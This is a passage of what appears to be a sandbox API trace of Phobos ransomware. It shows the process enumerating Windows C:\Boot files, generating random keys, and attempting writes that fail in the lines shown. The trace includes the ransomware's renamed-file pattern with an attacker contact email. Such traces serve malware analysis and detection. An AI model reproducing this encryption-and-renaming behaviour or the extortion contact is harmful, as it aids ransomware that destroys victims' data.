(lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.582] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=67424) returned 1 [0124.582] CloseHandle (hObject=0x588) returned 1 [0124.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0124.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.582] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.582] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.583] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.584] ResetEvent (hEvent=0x514) returned 1 [0124.584] SetEvent (hEvent=0x518) returned 1 [0124.584] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.584] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.584] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=66912) returned 1 [0124.584] CloseHandle (hObject=0x588) returned 1 [0124.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0124.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.584] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.584] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.586] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.586] ResetEvent (hEvent=0x514) returned 1 [0124.586] SetEvent (hEvent=0x518) returned 1 [0124.586] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.586] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.586] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=75616) returned 1 [0124.586] CloseHandle (hObject=0x588) returned 1 [0124.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0124.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.586] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.587] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.588] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.590] ResetEvent (hEvent=0x514) returned 1 [0124.590] SetEvent (hEvent=0x518) returned 1 [0124.590] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.590] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.590] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=811936) returned 1 [0124.590] CloseHandle (hObject=0x584) returned 1 [0124.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0124.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\memtest.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.590] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.590] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.592] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.592] ResetEvent (hEvent=0x514) returned 1 [0124.592] SetEvent (hEvent=0x518) returned 1 [0124.592] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.592] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.592] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=45472) returned 1 [0124.592] CloseHandle (hObject=0x588) returned 1 [0124.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0124.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.593] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.593] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.594] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.594] ResetEvent (hEvent=0x514) returned 1 [0124.594] SetEvent (hEvent=0x518) returned 1 [0124.594] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.594] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.595] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=45472) returned 1 [0124.595] CloseHandle (hObject=0x588) returned 1 [0124.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0124.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.595] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.595] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.596] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.596] ResetEvent (hEvent=0x514) returned 1 [0124.596] SetEvent (hEvent=0x518) returned 1 [0124.596] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.596] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.597] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=45984) returned 1 [0124.597] CloseHandle (hObject=0x588) returned 1 [0124.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0124.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.597] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.597] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.709] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.709] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.709] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=45472) returned 1 [0124.709] CloseHandle (hObject=0x57c) returned 1 [0124.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0124.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.710] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.710] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.710] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.710] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=76640) returned 1 [0124.710] CloseHandle (hObject=0x57c) returned 1 [0124.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0124.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.710] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.710] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.710] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.711] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=45984) returned 1 [0124.711] CloseHandle (hObject=0x57c) returned 1 [0124.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0124.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.711] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.711] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.711] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.711] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=74080) returned 1 [0124.711] CloseHandle (hObject=0x57c) returned 1 [0124.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0124.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.711] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.711] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.711] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.712] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=54168) returned 1 [0124.712] CloseHandle (hObject=0x57c) returned 1 [0124.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0124.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.712] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.712] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.712] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.712] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=92576) returned 1 [0124.712] CloseHandle (hObject=0x57c) returned 1 [0124.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0124.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\resources\\bootres.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.712] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.713] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.713] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.713] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=12192) returned 1 [0124.713] CloseHandle (hObject=0x57c) returned 1 [0124.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0124.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.713] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.713] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.713] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.713] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=76128) returned 1 [0124.713] CloseHandle (hObject=0x57c) returned 1 [0124.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0124.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.714] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.714] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.714] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.714] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=77152) returned 1 [0124.714] CloseHandle (hObject=0x57c) returned 1 [0124.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0124.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.714] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.714] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.714] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.714] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=44960) returned 1 [0124.714] CloseHandle (hObject=0x57c) returned 1 [0124.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0124.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.715] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.715] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.715] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.715] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=77144) returned 1 [0124.715] CloseHandle (hObject=0x57c) returned 1 [0124.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0124.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.715] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.715] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.715] 